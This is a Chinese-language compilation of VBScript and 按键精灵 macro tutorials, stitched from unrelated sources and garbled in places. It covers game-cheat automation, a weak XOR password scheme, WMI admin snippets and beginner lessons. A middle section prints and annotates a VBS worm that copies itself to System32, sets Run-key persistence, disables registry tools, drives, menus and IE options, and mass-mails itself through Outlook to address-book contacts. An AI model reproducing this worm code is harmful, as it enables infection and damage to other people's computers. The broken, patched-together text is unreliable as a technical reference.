按键精灵VBS脚本实例源码及详解

学习怎么用按键精灵制作游戏辅助——脚本源代码干货分享一、用按键精灵确定人物朝向（以剑灵自动寻路为例）的代码在剑灵右上角的小地图里找色/找图，箭头坐标存储在(x1,y1)，箭尾坐标存储在(x2,y2) FindColor1200,0,1920,300,"箭头颜色",x1,y1If x1 > 0 And y1> 0 ThenEnd IfFindColor1200,0,1920,300,"箭尾颜色",x2,y2If x1 > 0 And y1> 0 ThenEnd If'计算斜率/正切值斜率= (y1 - y2) / (x1 -x2)'计算角度角度= Atn(斜率)二、用按键精灵解决用户密码泄露问题的代码Function 加解密(源文件, 秘钥)Dim Z, iDim A, B, C加解密= ""If Len(源文件) = 0 Then’如果密码为空，则初始化为空加解密= ""Exit FunctionEnd If'调用Rnd函数使以后Rnd函数所产生的Rnd为相同的伪随机数列Z = Rnd(-秘钥)For i = 1 To Len(源文件)’将密码字符串一个一个字符通过加密，转换成另一个字符C = Mid(源文件, i, 1)A = Asc(C)B = Int(126 * Rnd) And&H7F’这里的&H7F，是指生成的伪随机代码，只取7位，以免数据溢出A = A Xor B’Xor是可逆的，第一次运行时是得到加密后的数据，再运行一次是得到解密后的数据C = Chr(A)加解密= 加解密+ CNextEnd Function举个例子吧~Function 加解密(源文件, 秘钥)Dim Z, iDim A, B, C加解密= ""If Len(源文件) = 0 Then加解密= ""Exit FunctionEnd If'调用Rnd函数使以后Rnd函数所产生的Rnd为相同的伪随机数列Z = Rnd(-密钥)For i = 1 To Len(源文件)C = Mid(源文件, i, 1)A = Asc(C)B = Int(126 * Rnd) And&H7FA = A Xor BC = Chr(A)加解密= 加解密+ CNextEnd FunctionEvent Form1.Load//获取小节名（如"e1df741f-d5ec-4ad7-969d-adb139c6a24f"），同一个Q文件生成的小节名不变a = GetMacroID()//获取到当前脚本/小精灵de ID加密文件=Plugin.File.ReadINI("e1df741f-d5ec-4ad7-969d-adb139c6a24f","Form1 .InputBox2.T ext", ".\uservar.ini")解密文件= 加解密(加密文件, 1234567890)'这里的1234567890是假使的密钥，可以修改，注意保密Form1.InputBox2.T ext = 解密文件End Event//写入密码信息源文件= Form1.InputBox2.T ext加密文件= 加解密(源文件, 1234567890)CallPlugin.File.WriteINI("e1df741f-d5ec-4ad7-969d-adb139c6a24f","Form1.InputBox2.T ext", 加密文件, ".\uservar.ini")//输出信息RunApp "notepad.exe"SayString Form1.InputBox1.T extKeyPress "Enter", 1SayString 源文件三、按键精灵快速排序的代码su = "6|1|2|7|9|3|4|5|10|8"su=Split(su, "|")L = UBound(su)Call ks(0, L)Function ks(L, B)If L > B ThenExit FunctionEnd If //判断数组上标下标是否超出范围i = Lj = Bkey =int( su(L) ) //数组第一位提取作为基数While j>iWhile int ( su(j)) >= key and j > i //要先从最右边开始找找到第一个小于key的数这里添加的j>i的判断是为了防止j的值不断递减导致下标越界j = j - 1WendWhile int (su(i)) <= key and j > i //从最左边开始找找到第一个大于key的数（这里的字符串数组需要转换为数值型）i = i + 1WendIf j>i then // 将和基数key对比得到的两个数对换将大于key的值往右边放小于key的值往左边放T = su(i)su(i) = su(j)su(j) = TEnd IfWend // 这个While 循环当i=j 第一轮比较完退出su(L) = su(i) // 重新设置数组第一个元素为基数su(i) = key// 基数归位（排完一轮之后左边的数<基数<右边的数那么基数就到了排序中它该在的位置。

VBS实⽤代码分享刚刚解决了⼀个实际问题，拿出来分享。

我刚将Spark重新编译，编译完成后是⼀个start.bat⽂件，双击start.bat就能够启动Spark，但是有⼀个命令窗⼝，要是能隐藏掉就好了。

隐藏命令窗⼝Set ws = CreateObject("Wscript.Shell")ws.run "cmd /c startup.bat",vbhide创建快捷⽅式'取得当前⽤户的application data⽂件夹Const APPLICATION_DATA = &H1a&Set objShell = CreateObject("Shell.Application")Set objFolder = space(APPLICATION_DATA)'取得当前程序运⾏路径path=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))set WshShell = Wscript.CreateObject("Wscript.Shell")'取得⾃动启动⽂件夹路径strDir = WshShell.SpecialFolders("AllUsersStartup")'创建快捷⽅式set oShellLink = WshShell.CreateShortcut(strDir & "\\Spark即时通讯.lnk")oShellLink.TargetPath = path & "\\startup.vbs"'设置快捷⽅式的执⾏路径oShellLink.WindowStyle = 1oShellLink.Hotkey = "Ctrl+Alt+s"'设置快捷⽅式的图标oShellLink.IconLocation = path & "\\spark.ico"oShellLink.Description = "Spark即时通讯"oShellLink.WorkingDirectory = pathoShellLink.Save'删除⽂件夹Const APPLICATION_DATA = &H1a&Set objShell = CreateObject("Shell.Application")Set objFolder = space(APPLICATION_DATA)MsgBox(objFolder.Self.Path)Set objFSO = CreateObject("Scripting.FileSystemObject")Set objFolder = objFSO.GetFolder(objFolder.Self.Path & "\\Spark")objFolder.Delete True'创建⽂件夹set fso=createobject("scripting.filesystemobject")If fso.FolderExists(path & "\\..\\xtra") = false Thenfso.CreateFolder(path & "\\..\\xtra")End IfIf fso.FolderExists(path & "\\..\\xtra\\emoticons") = false Thenfso.CreateFolder(path & "\\..\\xtra\\emoticons")End If。

按键精灵网游脚本编写教程一、键盘命令（2~5页）二、鼠标命令（5~13页）三、控制命令（13~22页）四、颜色/图像命令（22~28页）五、其他命令（28~355页）五、网游脚本实例（35~最后）一、键盘命令1.1.1.??2.??3.MouseWheel?1 ??3.MouseWheel 14.1.脚本例子：1.语法)命令名称：RestoreMousePos 恢复上次保存的鼠标位置命令功能：保存当前鼠标位置命令参数：无返回值：无脚本例子：1.SaveMousePos语法)1.1. 1.则命令功能：判断表达式命令参数：参数1 条件型，表达式返回值：无脚本例子：语法)1.例子1：2.i=03.If i=0 Then4.Msgbox "条件判断符合被通过!!"5.End If1.1.可当注释,也可以为Goto跳转指令作标记2.Rem脚本开始脚本例子：语法)1.可当注释,也可以为Goto跳转指令作标记2.Rem脚本开始命令名称：RestartScript 重新启动脚本运行命令功能：重新启动脚本运行命令参数：无脚本例子：语法) 1. For i=0 to 22. Delay 10003. Call0, 1024, 768, "屏幕内容填写" & i, "0000FF")4. NextRestartScript则循环 命令功能：条件循环 命令参数：参数1 条件型，循环条件 返 回 值：无 脚本例子：语法) 1. i=02. While i=03. Msgbox "我停不下来啦!!快住手"4. Wend1.1.1.，则默认展开到按键精灵所在的文件夹中2.mp。

如果不指定要释放的文件，则默认释放所有文件3.PutAttachment "c:\","*.bmp"4.plugin","*.dll"1.，则默认展开到按键精灵所在的文件夹中2.mp。

按键精灵源码//做这东西主要是为了新人学习之用希望对新人们有一些帮助//声明一些下面要用到的变量（其实不声明也可以不过为了养成//编程的好习惯还是希望大家声明一下)Dim XY_qi,Xq,Yq,n,m,Shu,Fu,A,X,Y//下面这部分是用来设置各种参数用户定义变量 XY_qi=800/400 输入数字起点坐标格式如：10/10 用户定义变量 Hen=5 输入横向特征点个数用户定义变量 n=1 输入横向递进值用户定义变量 Zong=10 输入纵向特征点个数用户定义变量 m=2 输入纵向递进值用户定义变量Ms=2 显示方式设置：1为弹出窗口模式2为粘帖模式用户定义变量 Color1=FFFFFF 设置字体颜色或者背景颜色//初始化数据部分//把Color1转化为字符串类型Color1=Str(Color1)//........................转换成字符类型//取得"/"在字符串的地几个A=InStr(XY_qi,"/")//.........................搜索字符串中指定字符的位置//取得"/"左边的数据Xq=Left(XY_qi,A-1)//........................返回指定数目的从字符串的左边算起的字符//取得"/"右边的数据Yq=Right(XY_qi,Len(XY_qi)-A)//.........从字符串右边返回指定数目的字符//给Shu,X,Y 赋值取得字符串长度Shu=""X=Xq:Y=Yq//纵向特征点个数循环 Zong 遍//给X赋值X=Xq//横向特征点个数循环 Hen 遍//利用GetPixelColor函数开始找颜色调用外部VBScript子程序 Color2=得到指定点的颜色(X,Y) //找到的颜色值和自己设置的颜色值做比较如果表达式 (Color2<>Color1) 为真,则//如果2个颜色不一样则给Fu赋值"1"Fu="1"否则//否则给Fu赋值为"0"Fu="0"条件结束//没循环1次X的值增大nX=X+n//每循环1次Shu的值连接一个FuShu=Shu&Fu循环结束//每循环一次Y的值增大mY=Y+m循环结束//如果模式选择1在显示数字特征码如果表达式 (Ms=1) 为真,则调用外部VBScript子程序 Color2=得到指定点的颜色(X,Y) //如果模式选择2则把数据写入剪切板否则如果(Ms=2)为真,则调用子程序 Nt调用子程序 Ts条件结束脚本停止运行//写入剪切板子程序子程序 NtShuZi=ShuSet objIE = CreateObject("InternetExplorer.Application")objIE.Navigate("about:blank")objIE.document.parentwindow.clipboardData.SetData "Text", ShuZiobjIE.Quit子程序结束,回到调用处//弹出对话框子程序子程序 Tsset Obj = createobject("WScript.Shell")Hua="数字特征码为："&vbcr&Shu&vbcr&"请打开记事本粘帖"调用外部VBScript子程序 Color2=得到指定点的颜色(X,Y)子程序结束,回到调用处//打开画图程序，并最大化，调整默认大小再运行脚本就OK。

按键精灵脚本制作教程（全）一、前言所谓游戏外挂，其实是一种游戏外辅程序，它可以协助玩家自动产生游戏动作、修改游戏网络数据包以及修改游戏内存数据等，以实现玩家用最少的时间和金钱去完成功力升级和过关斩将。

虽然，现在对游戏外挂程序的“合法”身份众说纷纭，在这里我不想对此发表任何个人意见，让时间去说明一切吧。

不管游戏外挂程序是不是“合法”身份，但是它却是具有一定的技术含量的，在这些小小程序中使用了许多高端技术，如拦截Sock技术、拦截API技术、模拟键盘与鼠标技术、直接修改程序内存技术等等。

本文将对常见的游戏外挂中使用的技术进行全面剖析。

二、认识外挂游戏外挂的历史可以追溯到单机版游戏时代，只不过当时它使用了另一个更通俗易懂的名字??游戏修改器。

它可以在游戏中追踪锁定游戏主人公的各项能力数值。

这样玩家在游戏中可以达到主角不掉血、不耗费魔法、不消耗金钱等目的。

这样降低了游戏的难度，使得玩家更容易通关。

随着网络游戏的时代的来临，游戏外挂在原有的功能之上进行了新的发展，它变得更加多种多样，功能更加强大，*作更加简单，以至有些游戏的外挂已经成为一个体系，比如《石器时代》，外挂品种达到了几十种，自动战斗、自动行走、自动练级、自动补血、加速、不遇敌、原地遇敌、快速增加经验值、按键精灵……几乎无所不包。

游戏外挂的设计主要是针对于某个游戏开发的，我们可以根据它针对的游戏的类型可大致可将外挂分为两种大类。

一类是将游戏中大量繁琐和无聊的攻击动作使用外挂自动完成，以帮助玩家轻松搞定攻击对象并可以快速的增加玩家的经验值。

比如在《龙族》中有一种工作的设定，玩家的工作等级越高，就可以驾驭越好的装备。

但是增加工作等级却不是一件有趣的事情，毋宁说是重复枯燥的机械劳动。

如果你想做法师用的杖，首先需要做基本工作--?砍树。

砍树的方法很简单，在一棵大树前不停的点鼠标就可以了，每10000的经验升一级。

这就意味着玩家要在大树前不停的点击鼠标，这种无聊的事情通过"按键精灵"就可以解决。

好玩的vbs代码VBScript（即Visual Basic Scripting Edition）是针对Microsoft Windows操作系统开发的一种脚本语言。

可以使用VBScript编写简单的窗体程序、交互式的动态网页以及实现许多有趣的小程序。

在这里，我们将分享一些有趣的VBScript代码，让你在工作之余放松一下，娱乐一下自己吧。

第一步："Hello, World!""Hello, world!"是编程语言初学者经常会编写的程序。

让我们来看一下用VBScript编写"Hello, world!"的代码。

```VBScriptMsgBox "Hello, world!"```在使用VBScript中，MsgBox是一个弹出式对话框，用于显示一条消息。

在这个代码中，我们使用了MsgBox，将"Hello, world!"作为消息显示出来。

这个程序的作用是打开一个窗口，显示一条消息，即"Hello, world!"。

第二步：翻转字符串这个程序可以将一个字符串翻转。

例如，如果我们输入"hello"，则输出"olleh"。

```VBScriptoriginalString = "hello"reversedString = StrReverse(originalString)MsgBox reversedString```在这个代码中，我们使用StrReverse函数翻转字符串。

该函数将输入的字符串反转，返回反转后的结果。

在这个程序中，我们将"hello"传递给该函数，并将结果返回给另一个变量。

最后，我们使用MsgBox弹出一个对话框，显示反转后的字符串。

第三步：随机数生成器这个程序可以生成1到100之间的随机数，并让用户猜测正确的数字。

vbs脚本大全，配有实例DOS命令，批处理脚本代码VBS取得本机IPstrComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set IPConfigSet = objWMIService.ExecQuery('Select IPAddress fromWin32_NetworkAdapterConfiguration Where IPEnabled=TRUE')For Each IPConfig in IPConfigSetIf Not IsNull(IPConfig.IPAddress) ThenFor Each strAddress in IPConfig.IPAddressWScript.Echo strAddressNextEnd IfNext2 取得本机计算机名strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colComputers = objWMIService.ExecQuery('Select * from Win32_ComputerSystem')For Each objComputer in colComputersWscript.Echo Next4 检查升级包strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colOperatingSystems =objWMIService.ExecQuery('Select * fromWin32_OperatingSystem')For Each objOperatingSystem in colOperatingSystems Wscript.EchoobjOperatingSystem.ServicePackMajorVersion & '.' & objOperatingSystem.ServicePackMinorVersionNext5 检查Hot FixstrComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colQuickFixes = objWMIService.ExecQuery ('Select *from Win32_QuickFixEngineering')For Each objQuickFix in colQuickFixesWscript.Echo 'Description: ' & objQuickFix.Description Wscript.Echo 'Hot Fix ID: ' & objQuickFix.HotFixIDNext6 检查本地管理员数目Set objNetwork = CreateObject('work') strComputer = puterNameSet objGroup = GetObject('WinNT://' & strComputer & '/Administrators,group')For Each objUser in objGroup.MembersWscript.Echo Next7 磁盘系统strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colDisks = objWMIService.ExecQuery('Select * from Win32_LogicalDisk Where DriveType =3')For Each objDisk in colDisksWscript.Echo 'Disk drive: '& objDisk.DeviceID & ' -- ' &objDisk.FileSystemNext8 检测自动登录是否开启Const HKEY_LOCAL_MACHINE = &H80000002 strComputer = '.'Set objReg=GetObject('winmgmts:\\' & strComputer & '\root\default:StdRegProv')strKeyPath = 'Software\Microsoft\WindowsNT\CurrentVersion\WinLogon'strValueName = 'AutoAdminLogon'objReg.GetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,dwValueIf dwValue = 1 ThenWscript.Echo 'Auto logon is enabled.'ElseWscript.Echo 'Auto logon is disabled.'End If9 关闭自动登录Const HKEY_LOCAL_MACHINE = &H80000002 strComputer = '.'Set objReg=GetObject('winmgmts:\\' & strComputer & '\root\default:StdRegProv')strKeyPath = 'Software\Microsoft\WindowsNT\CurrentVersion\WinLogon'strValueName = 'AutoAdminLogon'dwValue = 0oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, dwValue10 检查Guest是否禁用Set objNetwork = CreateObject('work') strComputer = puterNameSet objUser = GetObject('WinNT://' & strComputer & '/Guest')If objUser.AccountDisabled ThenWscript.Echo 'The Guest account is disabled.'ElseWscript.Echo 'The Guest account is enabled.'End If11 关闭GuestSet objNetwork = CreateObject('work') strComputer = puterNameSet objUser = GetObject('WinNT://' & strComputer & '/Guest')If objUser.AccountDisabled ThenWscript.Echo 'The Guest account is already disabled.' ElseobjUser.AccountDisabled = TrueobjUser.SetInfoWscript.Echo 'The Guest account has been disabled.' End If12 检索本地共象strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colShares = objWMIService.ExecQuery('Select * from Win32_Share')For each objShare in colSharesWscript.Echo 'Name: ' & Wscript.Echo 'Path: ' & objShare.PathWscript.Echo 'Type: ' & objShare.TypeNext13 脚本检索一个文件夹下.txt文件汗哦值得学习Set objWMIService =GetObject('winmgmts:\\.\root\cimv2')Set colFiles = objWMIService.ExecQuery('SELECT * FROM CIM_DataFile WHERE Path = '\\Documentsand Settings\\Administrator\\桌面\\' AND Drive = 'E:' AND Extension = 'txt'')Wscript.Echo 'Number of .txt files found: ' & colFiles.Count for each aa in colFilesNL=NL & vbcrlf & nextWscript.Echo NL14 我如何向用户显示一个用来选择文件的对话框？问：嗨，Scripting Guy！有没有什么方法可以让我使用脚本向用户显示一个对话框，供用户选择文件使用？-- BF答：您好，BF。

很好的VBS教程（带实例）推荐第一篇：讲一下VBScript。

主要面向菜鸟，懂得编程的朋友就不要浪费时间了，如果你想接触以下VBScript也可以。

但既然有编程基础推荐直接去找一些参考书来读。

会比较快。

什么是VBScript呢？VBScript的全称是：Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版)。

正如其字面所透露的信息，VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言。

我进一步解释一下，Microsoft Visual Basic是微软公司出品的一套可视化编程工具，语法基于Basic.脚本语言，就是不编译成二进制文件，直接由宿主(host)解释源代码并执行，简单点说就是你写的程序不需要编译成.exe，而是直接给用户发送.vbs 的源程序，用户就能执行了。

我知道菜鸟现在最关心的就是用什么工具来开发VBS程序了，答案是：记事本(Notepad).我不是开玩笑，其实任何一种文本编辑器都可以用来开发VBS开发，只不过记事本是由系统自带的，比较好找而已. 尽管如此，我还是建议你去下载一个专业的文本编辑器，因为这些工具可以提供"语法高亮"等功能，更加方便开发，用哪一个随你喜好，我比较喜欢Edit Plus (2.10).OK，我们先来写一个VBScript程序热热身.REM 输入并回显你的名字'使用InputBox和Msgbox函数Dim name,msgmsg="请输入你的名字:"name=Inputbox(msg,"名称")Msgbox(name)把上面的程序清单输入到记事本里面，然后保存为以.vbs为扩展名的文件("保存类型"里面选择"所有文件").然后双击运行，观察运行结果. 注意:请自己输入程序清单，不要复制->粘贴!我来解释一下这个程序，第一行和第二行的开头分别是"REM"语句和" ' "，这两个东西的作用是相同的，表示本行是注释行，就是说这两行什么也不干,只是用来说明这段程序的功能，版权信息等等. 注释行是程序最重要的部分之一，尽管它不是必需的，但对于其他人阅读源代码，以及自己分析源代码是很有好处的. 好的习惯是在必要的地方加上清晰，简洁的注释。

1、代码分析：On Error Resume Next '如果发生错误，不弹出窗口，继续执行下面语句Set fs=CreateObject("Scripting.FileSystemObject") '创建一个能与操作系统沟通的对象,再利用该对象的各种方法对注册表进行操作Set dir1=fs.GetSpecialFolder(0) '获取%Windows%文件夹位置Set dir2=fs.GetSpecialFolder(1) '获取System32/System文件夹位置Set so=CreateObject("Scripting.FileSystemObject")dim r '定义一个变量Set r=CreateObject("Wscript.Shell") '声明so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs") '复制病毒副本到System32/System文件夹位置'下面是对注册表的恶意修改r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1," REG_DWORD" '修改注册表，禁止注册表编辑r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs" '修改注册表，使这个脚本本身开机自动运行r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile" '修改注册表，禁止导入使用.reg文件，改为用txt文件的关联通过上面分析，我们还可以对该恶意代码加入更多的功能，如对于修改注册表来说，可以有：r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWO RD" '修改注册表，禁止“运行”菜单r.Regwrite"KCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWOR D" '修改注册表，禁止“关闭”菜单r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"R EG_DWORD" '修改注册表，隐藏所有逻辑盘符r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_ DWORD" '修改注册表，禁止“任务栏和开始”菜单r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1, "REG_DWORD" '修改注册表，禁止右键菜单r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_ DWORD" '修改注册表，禁止控制面板还可以对IE选项进行恶意修改：r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD" '修改注册表，禁止鼠标右键r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD" '修改注册表，禁止Internet选项r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD" '修改注册表，禁止“文件/打开”菜单r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD" '修改注册表，禁止更改高级页设置r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD" '修改注册表，禁止更改主页，即“主页”变灰r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD" '修改注册表，禁止更改安全项r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD" '修改注册表，禁止查看源文件……还可以加入通过邮件自动传播功能：Set ol=CreateObject("Outlook.Application") '创建Outlook文件对象用于传播On Error Resume NextFor x=1 To 100Set Mail=ol.CreateItem(0)Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) '用于向地址簿的前100名发送此VBS病毒Mail.Subject="今晚你来吗？" '邮件主题Mail.Body="朋友你好：您的朋友Rose给您发来了热情的邀请。

[命令]按键精灵常用功能－详细解说[1]－键盘动作按键精灵常用功能－解说[版本5.0以上]首先－启动按键精灵－看到主程序界面的“小灯泡”增加按钮了吗？点击它...然后－这样就新建了一个脚本，并进入了脚本编辑器界面。

（具体参见Qmacro基础资料/cn/qmacro/）按键精灵常用功能－详细解说[1]－键盘动作－4个功能(1)单个按键的模拟－模拟键盘的单个按键动作，可以是按1下、按住不动、弹起来等3种形式，可以根据自己的需要，设定执行次数。

(2)按键组合的模拟－模拟按键组合，比如ctrl＋shift＋G之类的，但是不能G＋H 这样子哦，那要需要的时候怎么模拟G＋H呢？使用(1)功能－按下G，再按下H，就等于G＋H了嘛~~~（不同步？哦，计算机的反映速度是很快的！）(3)脚本暂停按任意键继续功能－这里可以设置一个变量，用来表示可能是哪个按键，比如设置了变量key，当key这个变量变动的时候...比如key＝49的时候，表示按1就能使脚本继续...那么怎么知道哪个数字对应是哪个按键？请看(4)的功能。

(4)得到按键码－在左边的空白输入一个按键，右边就显示出相应的按键码哦。

有一些特殊的按键码是多少呢？可以去下载个ASCII码表看看。

举例：打开一个记事本，光标停空白处，按1下你设定的快捷键开始执行你设计的脚本... Rem rem只是注释语句，可以做标记或解释用途。

Rem rem这一行，不会有功能，比如：KeyPress 49 10Rem 按1键10次，换行KeyPress 49 10KeyPress 13 1Rem 按下1键不动，2秒后弹起，换行KeyDown 49 1Rem 延时2000毫秒Delay 2000KeyUp 49 1KeyPress 13 1Rem 按shift＋1组合键，换行KeyDown 16 1KeyPress 49 1KeyUp 16 1KeyPress 13 1Rem 提示后，等待任意键继续SayExpression "请按任意键继续吧。